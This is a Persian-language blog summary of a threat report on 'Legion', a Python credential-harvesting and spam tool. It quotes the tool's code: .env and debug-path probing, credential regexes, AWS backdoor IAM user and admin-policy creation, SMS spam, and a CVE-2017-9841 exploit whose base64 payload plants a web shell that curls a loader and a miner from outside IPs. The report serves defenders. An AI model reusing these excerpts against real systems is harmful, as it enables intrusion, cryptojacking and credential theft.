محققای Cado Labs یه گزارشی از یه اسکریپت مبتنی بر پایتون بنام Legion منتشر کردن که با هدف جمع آوری اعتبارنامه ها از سرویس های مختلف و سوء استفاده از SMTPها توسعه داده شده.
این ابزار از طریق تلگرام به فروش میرسه و دارای ماژولهای زیر هستش :
- جمع آوری سرورهای SMTP آسیب پذیر
- اجرای اکسپلویتهای RCE
- اکسپلویت نسخه های آسیب پذیر آپاچی
- بروت فورس روی اکانتهای cPanel و WHM
- جمع آوری لیست اهداف از طریق API های شودان ( باید API key داشته باشید)
- یسری ابزارهای دیگه که عمدتا برای سوء استفاده از سرویس های AWS هستش.
در دسامبر 2022 ، Lacework مطلبی در خصوص یه خانواده بدافزار بنام AndroxGh0st نوشته بود، محققا اعلام کردن که این ابزار هم مرتبط با AndroxGh0st هستش . یه بررسی هم Ian Ahl از این ابزار داشته. در زمان نگارش مقاله ، هیچ آنتی ویروسی در VT بعنوان فایل مخرب شناسایش نمی کرده.
این ابزار یه اسکریپت با 21015 خط کد هستش و در پایتون 3 توسعه داده شده. آنالیز استاتیک اون نشون میده که از سرویس های شودان و Twilio استفاده میکنه و همچنین قابلیت ارسال نتایج هر یک از ماژولهاش به تلگرام رو هم داره.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
cfg['SETTINGS'] = {} cfg['SETTINGS']['EMAIL_RECEIVER'] = 'put your email' cfg['SETTINGS']['DEFAULT_TIMEOUT'] = '20' cfg['TELEGRAM'] = {} cfg['TELEGRAM']['TELEGRAM_RESULTS'] = 'on' cfg['TELEGRAM']['BOT_TOKEN'] = 'bot token telegram' cfg['TELEGRAM']['CHAT_ID'] = 'chat id telegram' cfg['SHODAN'] = {} cfg['SHODAN']['APIKEY'] = 'ADD YOUR SHODAN APIKEY' cfg['TWILIO'] = {} cfg['TWILIO']['TWILIOAPI'] = 'ADD YOUR TWILIO APIKEY' cfg['TWILIO']['TWILIOTOKEN'] = 'ADD YOUR TWILIO AUTHTOKEN' cfg['TWILIO']['TWILIOFROM'] = 'ADD YOUR FROM NUMBER' cfg['SCRAPESTACK'] = {} cfg['SCRAPESTACK']['SCRAPESTACK_KEY'] = 'scrapestack_key' cfg['AWS'] = {} cfg['AWS']['EMAIL'] = 'put your email AWS test' |
این ابزار از طریق یه گروه تلگرامی منتشر شده و اگه اسکریپت رو اجرا کنیم ،یه نام کاربری تلگرامی با نام myl3gion داخلش هستش. محققا تونستن به این گروه تلگرامی وارد بشن و متوجه شدن که مالک اسکریپت هشداری در خصوص کلاهبردار بود myl3gion داده. با این اوصاف به نظر این نسخه ای که محققا روش آنالیز رو انجام میدن ، بصورت غیر قانونی توسط این کاربر منتشر شده.
در زمان نگارش این مقاله، این گروه 1090 عضو داشته و اولین پیام مربوط به فوریه 2021 هستش. محققا همچنین یه کانال یوتیوبی با نام Forza Tools مشاهده کردن که توش آموزش هایی از نحوه استفاده از این ابزار بوده. تلاشی که برای ساخت این ویدیوها توسط توسعه دهنده انجام شده، نشون میده که این بدافزار بطور گسترده در حال استفاده هستش و یه بدافزار تجاری هستش.
با بررسی که در کدهای بدافزار داشتن، با کامنتهایی مواجه شدن که به زبان اندونزییایی هستش . همچنین در یه کدی که برای اکسپلویت PHP استفاده میشه به یه Github Gist با کاربری بنام Galeh Rizky لینک داده شده که در اندونزی هستش. براساس این شواهد احتمال میدن که توسعه دهنده یا اندونزیایی هستش یا در اونجا مستقر هستش و شاید توسعه دهنده خوده Galeh Rizky باشه.
قابلیت بدافزار:
با بررسی کدها و ویدیوهای کانال یوتیوبشون محققا متوجه شدن که این ابزار عمدتا از طریق اکسپلویت وب سرورهایی که روشون CMS ، PHP و یا فریمورک های مبتنی بر PHP مثله لاراول در حال اجراست ، اقدام به جمع آوری اعتبارنامه ها میکنه.
بعد از اکسپلویت از طریق الگوهای Regex که داره اعتبارنامه هارو بدست میاره. این الگو شامل اعتبارنامه های ارائه دهندگان ایمیل ، ارائه دهندگان سرویس های ابری ، سیستم مدیریت سرور ، دیتابیس و سیستم های پرداخت مثله پی پال هستش. معمولا این ابزار برای جمع آوری اعتبارنامه ها و استفاده از اونها در کمپین های فیشینگ و اسپم مورد استفاده قرار میگیره.
همچنین امکان استقرار وب شل، بروت فورس اکانتهای CPanel یا AWS و همچنین ارسال پیامک به شماره های آمریکا که بصورت داینامیک ایجاد میشن، رو داره.
جمع آوری اعتبارنامه ها :
این ابزار شامل روش های مختلفی برای جمع آوری اعتبارنامه ها از وب سرورهایی که به درستی پیکربندی نشدن، هستش. براساس نرم افزار وب سرور، زبان و فریمورکی که روش اجرا میشه، بدافزار درخواستهایی به منابع مشخصی که حاوی اطلاعات حساس هستش، ارسال میکنه و بعد از تجزیه و تحلیلشون، اونارو براساس هر سرویس در فایلهایی ذخیره میکنه.
مثلا یکی از این منابع مشخص فایلهای .env هستش که اطلاعات حساسی رو در خصوص محصولات لاراولی داره. بدافزار یه لیستی از مسیرهایی که این فایل میتونه باشه رو داره و با بررسی اونا در تارگت، اطلاعات حساس این فایلها رو بدست میاره. جدول زیر نمونه هایی از این منابع مشخص رو لیست کرده:
Apache | Laravel | Generic Debug Paths |
/_profiler/phpinfo | /conf/.env | /debug/default/view?panel=config |
/tool/view/phpinfo.view.php | /wp-content/.env | /tool/view/phpinfo.view.php |
/debug/default/view.html | /library/.env | /debug/default/view.html |
/frontend/web/debug/default/view | /vendor/.env | /frontend/web/debug/default/view |
/.aws/credentials | /api/.env | /web/debug/default/view |
/config/aws.yml | /laravel/.env | /sapi/debug/default/view |
/symfony/public/_profiler/phpinfo | /sites/all/libraries/mailchimp/.env | /wp-config.php-backup |
کد زیر نمونه ای از تجزیه regex برای بدست آوردن اعتبارنامه های دیتابیس توسط این ابزار هستش:
1 2 3 4 5 6 7 8 9 |
# grab password if 'DB_USERNAME=' in text: method = './env' db_user = re.findall("\nDB_USERNAME=(.*?)\n", text)[0] db_pass = re.findall("\nDB_PASSWORD=(.*?)\n", text)[0] elif '<td>DB_USERNAME</td>' in text: method = 'debug' db_user = re.findall('<td>DB_USERNAME<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] db_pass = re.findall('<td>DB_PASSWORD<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] |
کد زیر نمونه ای از تجزیه regex برای بدست آوردن اعتبارنامه های Twilio توسط این ابزار هستش:
1 2 3 4 5 6 7 8 9 |
if '<td>#TWILIO_SID</td>' in text: acc_sid = re.findall('<td>#TWILIO_SID<\\/td>\\s+<td><pre.*>(.*?)<\\/span>', text)[0] auhtoken = re.findall('<td>#TWILIO_AUTH<\\/td>\\s+<td><pre.*>(.*?)<\\/span>', text)[0] build = cleanit(url + '|' + acc_sid + '|' + auhtoken) remover = str(build).replace('\r', '') print(f"{yl}☆ [{gr}{ntime()}{red}] {fc}╾┄╼ {gr}TWILIO {fc}[{yl}{acc_sid}{res}:{fc}{acc_key}{fc}]") save = open(o_twilio, 'a') save.write(remover+'\n') save.close() |
جدول زیر هم لیستی از سرویس هایی هستش که این ابزار اعتبارنامه هارو براشون در میاره :
Services Targeted |
Twilio |
Nexmo |
Stripe/Paypal (payment API function) |
AWS console credentials |
AWS SNS, S3 and SES specific credentials |
Mailgun |
Plivo |
Clicksend |
Mandrill |
Mailjet |
MessageBird |
Vonage |
Nexmo |
Exotel |
Onesignal |
Clickatel |
Tokbox |
SMTP credentials |
Database Administration and CMS credentials (CPanel, WHM, PHPmyadmin) |
ویژگی های AWS :
این ابزار نه تنها میتونه اعتبارنامه های AWS رو از سایتهای هدف استخراج کنه، از طریق یه تابعی بنام aws_generator امکان بروت فورس اعتبارنامه های AWS رو هم داره.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
def aws_generator(self, length, region): chars = ["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9","/","/"] chars = ["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9"] def aws_id(): output = "AKIA" for i in range(16): output += random.choice(chars[0:38]).upper() return output def aws_key(): output = "" for i in range(40): if i == 0 or i == 39: randUpper = random.choice(chars[0:38]).upper() output += random.choice([randUpper, random.choice(chars[0:38])]) else: randUpper = random.choice(chars[0:38]).upper() output += random.choice([randUpper, random.choice(chars)]) return output self.show_info_message(message="Generating Total %s Of AWS Key, Please Wait....." % length) |
این کد با آنالیزی که Lacework روی AndroxGh0st انجام داده مطابقت داره و طبق نظر اونا، این روش از لحاظ آماری بعیده که اعتبارنامه ای بده که قابل استفاده باشه. این ابزاز یه همچین کدی رو برای بروت فورس سرویس ایمیل مارکتینگ SendGrid هم داره.
صرف نظر از اینکه چطوری اعتبارنامه ها رو بدست میاره، بدافزار یه کاربر IAM با نام کاربری ses_legion و تگ Owner و مقدار ms.boharas اضافه میکنه.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
def create_new_user(iam_client, user_name='ses_legion'): user = None try: user = iam_client.create_user( UserName=user_name, Tags=[{'Key': 'Owner', 'Value': 'ms.boharas'}] ) except ClientError as e: if e.response['Error']['Code'] == 'EntityAlreadyExists': result_str = get_random_string() user_name = 'ses_{}'.format(result_str) user = iam_client.create_user(UserName=user_name, Tags=[{'Key': 'Owner', 'Value': 'ms.boharas'}] ) return user_name, user |
بعدش یه گروه IAM بنام SESADminGroup ایجاد میکنه و کاربر ایجاد کرده رو بهش اضافه میکنه. بعدش یسری خط مشی مبتنی بر AdministratorAccess آمازون ایجاد میکنه. این خط مشی دسترسی کامل میده و میشه همه پرمیشن هارو به همه سرویس ها و منابع داخل AWS داد.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
def creat_new_group(iam_client, group_name='SESAdminGroup'): try: res = iam_client.create_group(GroupName=group_name) except ClientError as e: if e.response['Error']['Code'] == 'EntityAlreadyExists': result_str = get_random_string() group_name = "SESAdminGroup{}".format(result_str) res = iam_client.create_group(GroupName=group_name) return res['Group']['GroupName'] def creat_new_policy(iam_client, policy_name='AdministratorAccess'): policy_json = {"Version": "2012-10-17","Statement": [{"Effect": "Allow", "Action": "*","Resource": "*"}]} try: res = iam_client.create_policy( PolicyName=policy_name, PolicyDocument=json.dumps(policy_json) ) except ClientError as e: if e.response['Error']['Code'] == 'EntityAlreadyExists': result_str = get_random_string() policy_name = "AdministratorAccess{}".format(result_str) res = iam_client.create_policy(PolicyName=policy_name, PolicyDocument=json.dumps(policy_json) ) return res['Policy']['Arn'] |
با توجه به اینکه بدافزار اصل کارش کرک سرویس های ایمیل هستش، در ادامه محدودیت میزان ارسال ایمیل در Amazon Simple Email Service (SES) رو برای کاربر تازه ایجاد کرده بررسی میکنه و یه ایمیل هم تستی ارسال میکنه.
1 2 3 4 5 6 7 8 9 10 11 12 |
def check(countsd, key, secret, region): try: out = '' client = boto3.client('ses', aws_access_key_id=key, aws_secret_access_key=secret, region_name=region) try: response = client.get_send_quota() frommail = client.list_identities()['Identities'] if frommail: SUBJECT = "AWS Checker By @mylegion (Only Private Tools)" BODY_TEXT = "Region: {region}\r\nLimit: {limit}|{maxsendrate}|{last24}\r\nLegion PRIV8 Tools\r\n".format(key=key, secret=secret, region=region, limit=response['Max24HourSend']) CHARSET = "UTF-8" _to = emailnow |
ارسال پیامک :
یکی از قابلیت های این بدافزار امکان ارسال پیامک اسپم به کاربران اپراتورهای شبکه های تلفن همراه آمریکاست. برای این کار ، بدافزار کد ایالتی که کاربر انتخاب کرده رو از طریق سایت www.randomphonenumbers.com و با استفاده از کتابخونه BeautifulSoup HTML بدست میاره. بعدش با استفاده از تابعی که اعداد مختلف رو بصورت رندوم میسازه ، شماره تلفن ایجاد میکنه.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
def generate(self): print('\n\n\t{0}╭╼[ {1}Starting Service {0}]\n\t│'.format(fg[5], fg[6])) url = f'https://www.randomphonenumbers.com/US/random_{self.state}_phone_numbers'.replace(' ', '%20') print('\t{0}│ [ {1}WEBSITE LOADED{0} ] {2}{3}{0}'.format(fg[5], fg[2], fg[1], url)) query = requests.get(url) soup = BeautifulSoup(query.text, 'html.parser') list = soup.find_all('ul')[2] urls = [] for a in list.find_all('a', href=True): url = f'https://www.randomphonenumbers.com{a["href"]}' print('\t{0}│ [ {1}PARSING URLS{0} ] {2}{3}'.format(fg[5], fg[2], fg[1], url), end='\r') urls.append(url) time.sleep(0.01) print(' ' * 100, end='\r') print('\t{0}│ [ {1}URLS PARSED{0} ] {2}{3}\n\t│'.format(fg[5], fg[3], fg[1], len(urls)), end='\r') def generate_number(area_code, carrier): for char in string.punctuation: carrier = carrier.replace(char, ' ') numbers = '' for number in [area_code + str(x) for x in range(0000, 9999)]: if len(number) != 10: gen = number.split(area_code)[1] number = area_code + str('0' * (10-len(area_code)-len(gen))) + gen numbers += number + '\n' with open(f'Generator/Carriers/{carrier}.txt', 'a+') as file: file.write(numbers) |
برای ارسال پیامک ، اعتبارنامههای ذخیره شده SMTP رو که توسط یکی از ماژولهای جمعآوری اعتبار ، استخراج میشه رو بررسی میکنه. جدول زیر اپراتورهای هدف این بدافزار رو مشاهده میکنید.
US Mobile Carriers |
Alltel |
Amp’d Mobile |
AT&T |
Boost Mobile |
Cingular |
Cricket |
Einstein PCS |
Sprint |
SunCom |
T-Mobile |
VoiceStream |
US Cellular |
Verizon |
Virgin |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
while not is_prompt: print('\t{0}┌╼[{1}USA SMS Sender{0}]╾╼[{2}Choose Carrier to SPAM{0}]\n\t└─╼ '.format(fg[5], fg[0], fg[6]), end='') try: prompt = int(input('')) if prompt in [int(x) for x in carriers.keys()]: self.carrier = carriers[str(prompt)] is_prompt = True else: print('\t{0}[{1}!{0}]╾╼[{2}Please enter a valid choice!{0}]'.format(fg[5], fg[0], fg[2]), end='\r') time.sleep(1) except ValueError: print('\t{0}[{1}!{0}]╾╼[{2}Please enter a valid choice!{0}]'.format(fg[5], fg[0], fg[2]), end='\r') time.sleep(1) print('\t{0}┌╼[{1}USA SMS Sender{0}]╾╼[{2}Please enter your message {0}| {2}160 Max Characters{0}]\n\t└─╼ '.format(fg[5], fg[0], fg[6]), end='') self.message = input('') print('\t{0}┌╼[{1}USA SMS Sender{0}]╾╼[{2}Please enter sender email{0}]\n\t└─╼ '.format(fg[5], fg[0], fg[6]), end='') self.sender_email = input('') |
اکسپلویت PHP:
بدافزار علاوه بر جمع آوری اعتبارنامه ها، ارسال ایمیل و پیامک اسپم، قابلیت اکسپلویت آسیب پذیری های PHP برای استقرار وب شل و اجرای کد دلخواه رو داره. برای این کار هم از روشهای مختلفی استفاده میکنه. یکی از این روشها ارسال یه رشته که با <?php شروع میشه و در ادامه کدهای PHP که با base64 انکد شدن به مسیر زیر هستش :
1 |
/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php |
این روش یه آسیب پذیری با شناسه CVE-2017-9841 هستش که امکان اجرای کد PHP بدون احراز هویت به مهاجم میده. بدافزار از POC این آسیب پذیری در کدهاش استفاده کرده.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
path = "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php" url = url + path phpinfo = "<?php phpinfo(); ?>" try: requester_1 = requests.post(url, data=phpinfo, timeout=15, verify=False) if "phpinfo()" in requester_1.text: payload_ = '<?php $root = $_SERVER["DOCUMENT_ROOT"]; $myfile = fopen($root . "/'+pathname+'", "w") or die("Unable to open file!"); $code = "PD9waHAgZWNobyAnPGNlbnRlcj48aDE+TEVHSU9OIEVYUExPSVQgVjQgKE7Eg3ZvZGFyaSBQb3dlcik8L2gxPicuJzxicj4nLidbdW5hbWVdICcucGhwX3VuYW1lKCkuJyBbL3VuYW1lXSAnO2VjaG8nPGZvcm0gbWV0aG9kPSJwb3N0ImVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPic7ZWNobyc8aW5wdXQgdHlwZT0iZmlsZSJuYW1lPSJmaWxlIj48aW5wdXQgbmFtZT0iX3VwbCJ0eXBlPSJzdWJtaXQidmFsdWU9IlVwbG9hZCI+PC9mb3JtPic7aWYoICRfUE9TVFsnX3VwbCddPT0iVXBsb2FkIil7aWYoQGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSl7ZWNobyc8Yj5MRUdJT04gRXhwbG9pdCBTdWNjZXNzITwvYj4nO31lbHNle2VjaG8nPGI+TEVHSU9OIEV4cGxvaXQgU3VjY2VzcyE8L2I+Jzt9fSBzeXN0ZW0oJ2N1cmwgLXMgLWsgMi41Ny4xMjIuMTEyL3JjZS9sb2FkIC1vIGFkaW5kZXgucGhwOyBjZCAvdG1wOyBjdXJsIC1PIDkxLjIxMC4xNjguODAvbWluZXIuanBnOyB0YXIgeHp2ZiBtaW5lci5qcGcgPiAvZGV2L251bGw7IHJtIC1yZiBtaW5lci5qcGc7IGNkIC54OyAuL3ggPiAvZGV2L251bGwnKTsKPz4="; fwrite($myfile, base64_decode($code)); fclose($myfile); echo("LEGION EXPLOIT V3"); ?>' send_payload = requests.post(url, data=payload_, timeout=15, verify=False) if "LEGION EXPLOIT V3" in send_payload.text: status_exploit = "Successfully" else: status_exploit = "Can't exploit" else: status_exploit = "May not vulnerable" |
IOCهای گزارش:
Filename | SHA256 |
legion.py | fcd95a68cd8db0199e2dd7d1ecc4b7626532681b41654519463366e27f54e65a |
legion.py (variant) | 42109b61cfe2e1423b6f78c093c3411989838085d7e6a5f319c6e77b3cc462f3 |
User Agents |
Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36 |
Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50 |
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36 |
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36 |
Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36 |
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0 |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36 |
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 |